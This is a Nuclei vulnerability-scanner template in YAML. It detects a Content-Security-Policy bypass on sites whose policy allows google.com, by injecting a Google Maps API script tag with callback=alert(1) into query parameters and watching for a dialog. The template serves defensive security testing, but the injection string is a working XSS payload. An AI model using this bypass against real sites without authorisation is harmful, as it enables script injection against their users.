id: google-maps-csp-bypass
info:
name: Content-Security-Policy Bypass - Google Maps
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,google-maps,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "google.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: google_maps_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://maps.google.com/maps/api/js?sensor=false&callback=alert(1)"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "google_maps_csp_xss == true"
# digest: 4a0a00473045022068f708c785c962f078cb146ea669ac8b39aa8bf54a442a517777b532870f25c8022100f2c9a25f472bb6cec062269c4f9e654d7a0ff670adad07dfc8f8c65e65f7ca85:922c64590222798bb761d5b6d8e72950